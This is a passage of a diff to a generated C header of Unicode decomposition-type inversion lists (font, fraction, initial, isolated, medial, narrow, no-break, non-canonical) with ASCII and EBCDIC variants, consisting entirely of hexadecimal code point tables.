+	0xFE9E,
+	0xFE9F,
+	0xFEA2,
+	0xFEA3,
+	0xFEA6,
+	0xFEA7,
+	0xFEAA,
+	0xFEAB,
+	0xFEAC,
+	0xFEAD,
+	0xFEAE,
+	0xFEAF,
+	0xFEB0,
+	0xFEB1,
+	0xFEB2,
+	0xFEB3,
+	0xFEB6,
+	0xFEB7,
+	0xFEBA,
+	0xFEBB,
+	0xFEBE,
+	0xFEBF,
+	0xFEC2,
+	0xFEC3,
+	0xFEC6,
+	0xFEC7,
+	0xFECA,
+	0xFECB,
+	0xFECE,
+	0xFECF,
+	0xFED2,
+	0xFED3,
+	0xFED6,
+	0xFED7,
+	0xFEDA,
+	0xFEDB,
+	0xFEDE,
+	0xFEDF,
+	0xFEE2,
+	0xFEE3,
+	0xFEE6,
+	0xFEE7,
+	0xFEEA,
+	0xFEEB,
+	0xFEEE,
+	0xFEEF,
+	0xFEF0,
+	0xFEF1,
+	0xFEF2,
+	0xFEF3,
+	0xFEF6,
+	0xFEF7,
+	0xFEF8,
+	0xFEF9,
+	0xFEFA,
+	0xFEFB,
+	0xFEFC,
+	0xFEFD
+};
+
+static const UV PL_DT__FONT_invlist[] = { /* for all charsets */
+	135,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2102,
+	0x2103,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2128,
+	0x2129,
+	0x212C,
+	0x212E,
+	0x212F,
+	0x2132,
+	0x2133,
+	0x2135,
+	0x2139,
+	0x213A,
+	0x213C,
+	0x2141,
+	0x2145,
+	0x214A,
+	0xFB20,
+	0xFB2A,
 	0x1D400,
-	0x1D41A,
-	0x1D434,
-	0x1D44E,
-	0x1D468,
-	0x1D482,
-	0x1D49C,
+	0x1D455,
+	0x1D456,
 	0x1D49D,
 	0x1D49E,
 	0x1D4A0,
@@ -61907,10 +215647,12 @@
 	0x1D4A9,
 	0x1D4AD,
 	0x1D4AE,
-	0x1D4B6,
-	0x1D4D0,
-	0x1D4EA,
-	0x1D504,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
 	0x1D506,
 	0x1D507,
 	0x1D50B,
@@ -61918,7 +215660,7 @@
 	0x1D515,
 	0x1D516,
 	0x1D51D,
-	0x1D538,
+	0x1D51E,
 	0x1D53A,
 	0x1D53B,
 	0x1D53F,
@@ -61928,42 +215670,18251 @@
 	0x1D547,
 	0x1D54A,
 	0x1D551,
-	0x1D56C,
-	0x1D586,
-	0x1D5A0,
-	0x1D5BA,
-	0x1D5D4,
-	0x1D5EE,
-	0x1D608,
-	0x1D622,
-	0x1D63C,
-	0x1D656,
-	0x1D670,
-	0x1D68A,
+	0x1D552,
+	0x1D6A6,
 	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_DT__FRA_invlist[] = { /* for ASCII/Latin1 */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xBC,
+	0xBF,
+	0x2150,
+	0x2160,
+	0x2189,
+	0x218A
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_DT__FRA_invlist[] = { /* for EBCDIC 1047 */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB7,
+	0xBA,
+	0x2150,
+	0x2160,
+	0x2189,
+	0x218A
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_DT__FRA_invlist[] = { /* for EBCDIC 037 */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB7,
+	0xBA,
+	0x2150,
+	0x2160,
+	0x2189,
+	0x218A
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_DT__INIT_invlist[] = { /* for all charsets */
+	151,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xFB54,
+	0xFB55,
+	0xFB58,
+	0xFB59,
+	0xFB5C,
+	0xFB5D,
+	0xFB60,
+	0xFB61,
+	0xFB64,
+	0xFB65,
+	0xFB68,
+	0xFB69,
+	0xFB6C,
+	0xFB6D,
+	0xFB70,
+	0xFB71,
+	0xFB74,
+	0xFB75,
+	0xFB78,
+	0xFB79,
+	0xFB7C,
+	0xFB7D,
+	0xFB80,
+	0xFB81,
+	0xFB90,
+	0xFB91,
+	0xFB94,
+	0xFB95,
+	0xFB98,
+	0xFB99,
+	0xFB9C,
+	0xFB9D,
+	0xFBA2,
+	0xFBA3,
+	0xFBA8,
+	0xFBA9,
+	0xFBAC,
+	0xFBAD,
+	0xFBD5,
+	0xFBD6,
+	0xFBE6,
+	0xFBE7,
+	0xFBE8,
+	0xFBE9,
+	0xFBF8,
+	0xFBF9,
+	0xFBFB,
+	0xFBFC,
+	0xFBFE,
+	0xFBFF,
+	0xFC97,
+	0xFCDF,
+	0xFD2D,
+	0xFD34,
+	0xFD50,
+	0xFD51,
+	0xFD52,
+	0xFD58,
+	0xFD59,
+	0xFD5A,
+	0xFD5C,
+	0xFD5E,
+	0xFD60,
+	0xFD62,
+	0xFD63,
+	0xFD64,
+	0xFD65,
+	0xFD66,
+	0xFD68,
+	0xFD69,
+	0xFD6B,
+	0xFD6C,
+	0xFD6D,
+	0xFD6E,
+	0xFD70,
+	0xFD71,
+	0xFD72,
+	0xFD74,
+	0xFD77,
+	0xFD78,
+	0xFD7D,
+	0xFD7E,
+	0xFD83,
+	0xFD84,
+	0xFD86,
+	0xFD87,
+	0xFD88,
+	0xFD8B,
+	0xFD8C,
+	0xFD90,
+	0xFD92,
+	0xFD96,
+	0xFD98,
+	0xFD99,
+	0xFD9D,
+	0xFD9E,
+	0xFDB4,
+	0xFDB6,
+	0xFDB8,
+	0xFDB9,
+	0xFDBA,
+	0xFDBB,
+	0xFDC3,
+	0xFDC6,
+	0xFE8B,
+	0xFE8C,
+	0xFE91,
+	0xFE92,
+	0xFE97,
+	0xFE98,
+	0xFE9B,
+	0xFE9C,
+	0xFE9F,
+	0xFEA0,
+	0xFEA3,
+	0xFEA4,
+	0xFEA7,
+	0xFEA8,
+	0xFEB3,
+	0xFEB4,
+	0xFEB7,
+	0xFEB8,
+	0xFEBB,
+	0xFEBC,
+	0xFEBF,
+	0xFEC0,
+	0xFEC3,
+	0xFEC4,
+	0xFEC7,
+	0xFEC8,
+	0xFECB,
+	0xFECC,
+	0xFECF,
+	0xFED0,
+	0xFED3,
+	0xFED4,
+	0xFED7,
+	0xFED8,
+	0xFEDB,
+	0xFEDC,
+	0xFEDF,
+	0xFEE0,
+	0xFEE3,
+	0xFEE4,
+	0xFEE7,
+	0xFEE8,
+	0xFEEB,
+	0xFEEC,
+	0xFEF3,
+	0xFEF4
+};
+
+static const UV PL_DT__ISO_invlist[] = { /* for all charsets */
+	197,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xFB50,
+	0xFB51,
+	0xFB52,
+	0xFB53,
+	0xFB56,
+	0xFB57,
+	0xFB5A,
+	0xFB5B,
+	0xFB5E,
+	0xFB5F,
+	0xFB62,
+	0xFB63,
+	0xFB66,
+	0xFB67,
+	0xFB6A,
+	0xFB6B,
+	0xFB6E,
+	0xFB6F,
+	0xFB72,
+	0xFB73,
+	0xFB76,
+	0xFB77,
+	0xFB7A,
+	0xFB7B,
+	0xFB7E,
+	0xFB7F,
+	0xFB82,
+	0xFB83,
+	0xFB84,
+	0xFB85,
+	0xFB86,
+	0xFB87,
+	0xFB88,
+	0xFB89,
+	0xFB8A,
+	0xFB8B,
+	0xFB8C,
+	0xFB8D,
+	0xFB8E,
+	0xFB8F,
+	0xFB92,
+	0xFB93,
+	0xFB96,
+	0xFB97,
+	0xFB9A,
+	0xFB9B,
+	0xFB9E,
+	0xFB9F,
+	0xFBA0,
+	0xFBA1,
+	0xFBA4,
+	0xFBA5,
+	0xFBA6,
+	0xFBA7,
+	0xFBAA,
+	0xFBAB,
+	0xFBAE,
+	0xFBAF,
+	0xFBB0,
+	0xFBB1,
+	0xFBD3,
+	0xFBD4,
+	0xFBD7,
+	0xFBD8,
+	0xFBD9,
+	0xFBDA,
+	0xFBDB,
+	0xFBDC,
+	0xFBDD,
+	0xFBDF,
+	0xFBE0,
+	0xFBE1,
+	0xFBE2,
+	0xFBE3,
+	0xFBE4,
+	0xFBE5,
+	0xFBEA,
+	0xFBEB,
+	0xFBEC,
+	0xFBED,
+	0xFBEE,
+	0xFBEF,
+	0xFBF0,
+	0xFBF1,
+	0xFBF2,
+	0xFBF3,
+	0xFBF4,
+	0xFBF5,
+	0xFBF6,
+	0xFBF7,
+	0xFBF9,
+	0xFBFA,
+	0xFBFC,
+	0xFBFD,
+	0xFC00,
+	0xFC64,
+	0xFCF5,
+	0xFD11,
+	0xFD3D,
+	0xFD3E,
+	0xFDF0,
+	0xFDFD,
+	0xFE70,
+	0xFE71,
+	0xFE72,
+	0xFE73,
+	0xFE74,
+	0xFE75,
+	0xFE76,
+	0xFE77,
+	0xFE78,
+	0xFE79,
+	0xFE7A,
+	0xFE7B,
+	0xFE7C,
+	0xFE7D,
+	0xFE7E,
+	0xFE7F,
+	0xFE80,
+	0xFE82,
+	0xFE83,
+	0xFE84,
+	0xFE85,
+	0xFE86,
+	0xFE87,
+	0xFE88,
+	0xFE89,
+	0xFE8A,
+	0xFE8D,
+	0xFE8E,
+	0xFE8F,
+	0xFE90,
+	0xFE93,
+	0xFE94,
+	0xFE95,
+	0xFE96,
+	0xFE99,
+	0xFE9A,
+	0xFE9D,
+	0xFE9E,
+	0xFEA1,
+	0xFEA2,
+	0xFEA5,
+	0xFEA6,
+	0xFEA9,
+	0xFEAA,
+	0xFEAB,
+	0xFEAC,
+	0xFEAD,
+	0xFEAE,
+	0xFEAF,
+	0xFEB0,
+	0xFEB1,
+	0xFEB2,
+	0xFEB5,
+	0xFEB6,
+	0xFEB9,
+	0xFEBA,
+	0xFEBD,
+	0xFEBE,
+	0xFEC1,
+	0xFEC2,
+	0xFEC5,
+	0xFEC6,
+	0xFEC9,
+	0xFECA,
+	0xFECD,
+	0xFECE,
+	0xFED1,
+	0xFED2,
+	0xFED5,
+	0xFED6,
+	0xFED9,
+	0xFEDA,
+	0xFEDD,
+	0xFEDE,
+	0xFEE1,
+	0xFEE2,
+	0xFEE5,
+	0xFEE6,
+	0xFEE9,
+	0xFEEA,
+	0xFEED,
+	0xFEEE,
+	0xFEEF,
+	0xFEF0,
+	0xFEF1,
+	0xFEF2,
+	0xFEF5,
+	0xFEF6,
+	0xFEF7,
+	0xFEF8,
+	0xFEF9,
+	0xFEFA,
+	0xFEFB,
+	0xFEFC
+};
+
+static const UV PL_DT__MED_invlist[] = { /* for all charsets */
+	109,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xFB55,
+	0xFB56,
+	0xFB59,
+	0xFB5A,
+	0xFB5D,
+	0xFB5E,
+	0xFB61,
+	0xFB62,
+	0xFB65,
+	0xFB66,
+	0xFB69,
+	0xFB6A,
+	0xFB6D,
+	0xFB6E,
+	0xFB71,
+	0xFB72,
+	0xFB75,
+	0xFB76,
+	0xFB79,
+	0xFB7A,
+	0xFB7D,
+	0xFB7E,
+	0xFB81,
+	0xFB82,
+	0xFB91,
+	0xFB92,
+	0xFB95,
+	0xFB96,
+	0xFB99,
+	0xFB9A,
+	0xFB9D,
+	0xFB9E,
+	0xFBA3,
+	0xFBA4,
+	0xFBA9,
+	0xFBAA,
+	0xFBAD,
+	0xFBAE,
+	0xFBD6,
+	0xFBD7,
+	0xFBE7,
+	0xFBE8,
+	0xFBE9,
+	0xFBEA,
+	0xFBFF,
+	0xFC00,
+	0xFCDF,
+	0xFCF5,
+	0xFD34,
+	0xFD3C,
+	0xFE71,
+	0xFE72,
+	0xFE77,
+	0xFE78,
+	0xFE79,
+	0xFE7A,
+	0xFE7B,
+	0xFE7C,
+	0xFE7D,
+	0xFE7E,
+	0xFE7F,
+	0xFE80,
+	0xFE8C,
+	0xFE8D,
+	0xFE92,
+	0xFE93,
+	0xFE98,
+	0xFE99,
+	0xFE9C,
+	0xFE9D,
+	0xFEA0,
+	0xFEA1,
+	0xFEA4,
+	0xFEA5,
+	0xFEA8,
+	0xFEA9,
+	0xFEB4,
+	0xFEB5,
+	0xFEB8,
+	0xFEB9,
+	0xFEBC,
+	0xFEBD,
+	0xFEC0,
+	0xFEC1,
+	0xFEC4,
+	0xFEC5,
+	0xFEC8,
+	0xFEC9,
+	0xFECC,
+	0xFECD,
+	0xFED0,
+	0xFED1,
+	0xFED4,
+	0xFED5,
+	0xFED8,
+	0xFED9,
+	0xFEDC,
+	0xFEDD,
+	0xFEE0,
+	0xFEE1,
+	0xFEE4,
+	0xFEE5,
+	0xFEE8,
+	0xFEE9,
+	0xFEEC,
+	0xFEED,
+	0xFEF4,
+	0xFEF5
+};
+
+static const UV PL_DT__NAR_invlist[] = { /* for all charsets */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xFF61,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE8,
+	0xFFEF
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_DT__NB_invlist[] = { /* for ASCII/Latin1 */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA0,
+	0xA1,
+	0xF0C,
+	0xF0D,
+	0x2007,
+	0x2008,
+	0x2011,
+	0x2012,
+	0x202F,
+	0x2030
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_DT__NB_invlist[] = { /* for EBCDIC 1047 */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x42,
+	0xF0C,
+	0xF0D,
+	0x2007,
+	0x2008,
+	0x2011,
+	0x2012,
+	0x202F,
+	0x2030
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_DT__NB_invlist[] = { /* for EBCDIC 037 */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x42,
+	0xF0C,
+	0xF0D,
+	0x2007,
+	0x2008,
+	0x2011,
+	0x2012,
+	0x202F,
+	0x2030
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_DT__NONCANON_invlist[] = { /* for ASCII/Latin1 */
+	373,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA0,
+	0xA1,
+	0xA8,
+	0xA9,
+	0xAA,
+	0xAB,
+	0xAF,
+	0xB0,
+	0xB2,
+	0xB6,
+	0xB8,
+	0xBB,
+	0xBC,
+	0xBF,
+	0x132,
+	0x134,
+	0x13F,
+	0x141,
+	0x149,
+	0x14A,
+	0x17F,
+	0x180,
+	0x1C4,
+	0x1CD,
+	0x1F1,
+	0x1F4,
+	0x2B0,
+	0x2B9,
+	0x2D8,
+	0x2DE,
+	0x2E0,
+	0x2E5,
+	0x37A,
+	0x37B,
+	0x384,
+	0x385,
+	0x3D0,
+	0x3D3,
+	0x3D5,
+	0x3D7,
+	0x3F0,
+	0x3F3,
+	0x3F4,
+	0x3F6,
+	0x3F9,
+	0x3FA,
+	0x587,
+	0x588,
+	0x675,
+	0x679,
+	0xE33,
+	0xE34,
+	0xEB3,
+	0xEB4,
+	0xEDC,
+	0xEDE,
+	0xF0C,
+	0xF0D,
+	0xF77,
+	0xF78,
+	0xF79,
+	0xF7A,
+	0x10FC,
+	0x10FD,
+	0x1D2C,
+	0x1D2F,
+	0x1D30,
+	0x1D3B,
+	0x1D3C,
+	0x1D4E,
+	0x1D4F,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1DC0,
+	0x1E9A,
+	0x1E9B,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC1,
+	0x1FFE,
+	0x1FFF,
+	0x2002,
+	0x200B,
+	0x2011,
+	0x2012,
+	0x2017,
+	0x2018,
+	0x2024,
+	0x2027,
+	0x202F,
+	0x2030,
+	0x2033,
+	0x2035,
+	0x2036,
+	0x2038,
+	0x203C,
+	0x203D,
+	0x203E,
+	0x203F,
+	0x2047,
+	0x204A,
+	0x2057,
+	0x2058,
+	0x205F,
+	0x2060,
+	0x2070,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A8,
+	0x20A9,
+	0x2100,
+	0x2104,
+	0x2105,
+	0x2108,
+	0x2109,
+	0x2114,
+	0x2115,
+	0x2117,
+	0x2119,
+	0x211E,
+	0x2120,
+	0x2123,
+	0x2124,
+	0x2125,
+	0x2128,
+	0x2129,
+	0x212C,
+	0x212E,
+	0x212F,
+	0x2132,
+	0x2133,
+	0x213A,
+	0x213B,
+	0x2141,
+	0x2145,
+	0x214A,
+	0x2150,
+	0x2180,
+	0x2189,
+	0x218A,
+	0x222C,
+	0x222E,
+	0x222F,
+	0x2231,
+	0x2460,
+	0x24EB,
+	0x2A0C,
+	0x2A0D,
+	0x2A74,
+	0x2A77,
+	0x2C7C,
+	0x2C7E,
+	0x2D6F,
+	0x2D70,
+	0x2E9F,
+	0x2EA0,
+	0x2EF3,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x3000,
+	0x3001,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303B,
+	0x309B,
+	0x309D,
+	0x309F,
+	0x30A0,
+	0x30FF,
+	0x3100,
+	0x3131,
+	0x318F,
+	0x3192,
+	0x31A0,
+	0x3200,
+	0x321F,
+	0x3220,
+	0x3248,
+	0x3250,
+	0x327F,
+	0x3280,
+	0x32FF,
+	0x3300,
+	0x3400,
+	0xA69C,
+	0xA69E,
+	0xA770,
+	0xA771,
+	0xA7F8,
+	0xA7FA,
+	0xAB5C,
+	0xAB60,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB20,
+	0xFB2A,
+	0xFB4F,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFD,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE45,
+	0xFE47,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE73,
+	0xFE74,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F150,
+	0x1F16A,
+	0x1F16C,
+	0x1F190,
+	0x1F191,
+	0x1F200,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_DT__NONCANON_invlist[] = { /* for EBCDIC 1047 */
+	379,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x42,
+	0x9A,
+	0x9C,
+	0x9D,
+	0x9E,
+	0xA0,
+	0xA1,
+	0xB7,
+	0xBA,
+	0xBB,
+	0xBD,
+	0xBE,
+	0xBF,
+	0xDA,
+	0xDB,
+	0xEA,
+	0xEB,
+	0xFA,
+	0xFB,
+	0x132,
+	0x134,
+	0x13F,
+	0x141,
+	0x149,
+	0x14A,
+	0x17F,
+	0x180,
+	0x1C4,
+	0x1CD,
+	0x1F1,
+	0x1F4,
+	0x2B0,
+	0x2B9,
+	0x2D8,
+	0x2DE,
+	0x2E0,
+	0x2E5,
+	0x37A,
+	0x37B,
+	0x384,
+	0x385,
+	0x3D0,
+	0x3D3,
+	0x3D5,
+	0x3D7,
+	0x3F0,
+	0x3F3,
+	0x3F4,
+	0x3F6,
+	0x3F9,
+	0x3FA,
+	0x587,
+	0x588,
+	0x675,
+	0x679,
+	0xE33,
+	0xE34,
+	0xEB3,
+	0xEB4,
+	0xEDC,
+	0xEDE,
+	0xF0C,
+	0xF0D,
+	0xF77,
+	0xF78,
+	0xF79,
+	0xF7A,
+	0x10FC,
+	0x10FD,
+	0x1D2C,
+	0x1D2F,
+	0x1D30,
+	0x1D3B,
+	0x1D3C,
+	0x1D4E,
+	0x1D4F,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1DC0,
+	0x1E9A,
+	0x1E9B,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC1,
+	0x1FFE,
+	0x1FFF,
+	0x2002,
+	0x200B,
+	0x2011,
+	0x2012,
+	0x2017,
+	0x2018,
+	0x2024,
+	0x2027,
+	0x202F,
+	0x2030,
+	0x2033,
+	0x2035,
+	0x2036,
+	0x2038,
+	0x203C,
+	0x203D,
+	0x203E,
+	0x203F,
+	0x2047,
+	0x204A,
+	0x2057,
+	0x2058,
+	0x205F,
+	0x2060,
+	0x2070,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A8,
+	0x20A9,
+	0x2100,
+	0x2104,
+	0x2105,
+	0x2108,
+	0x2109,
+	0x2114,
+	0x2115,
+	0x2117,
+	0x2119,
+	0x211E,
+	0x2120,
+	0x2123,
+	0x2124,
+	0x2125,
+	0x2128,
+	0x2129,
+	0x212C,
+	0x212E,
+	0x212F,
+	0x2132,
+	0x2133,
+	0x213A,
+	0x213B,
+	0x2141,
+	0x2145,
+	0x214A,
+	0x2150,
+	0x2180,
+	0x2189,
+	0x218A,
+	0x222C,
+	0x222E,
+	0x222F,
+	0x2231,
+	0x2460,
+	0x24EB,
+	0x2A0C,
+	0x2A0D,
+	0x2A74,
+	0x2A77,
+	0x2C7C,
+	0x2C7E,
+	0x2D6F,
+	0x2D70,
+	0x2E9F,
+	0x2EA0,
+	0x2EF3,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x3000,
+	0x3001,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303B,
+	0x309B,
+	0x309D,
+	0x309F,
+	0x30A0,
+	0x30FF,
+	0x3100,
+	0x3131,
+	0x318F,
+	0x3192,
+	0x31A0,
+	0x3200,
+	0x321F,
+	0x3220,
+	0x3248,
+	0x3250,
+	0x327F,
+	0x3280,
+	0x32FF,
+	0x3300,
+	0x3400,
+	0xA69C,
+	0xA69E,
+	0xA770,
+	0xA771,
+	0xA7F8,
+	0xA7FA,
+	0xAB5C,
+	0xAB60,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB20,
+	0xFB2A,
+	0xFB4F,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFD,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE45,
+	0xFE47,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE73,
+	0xFE74,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
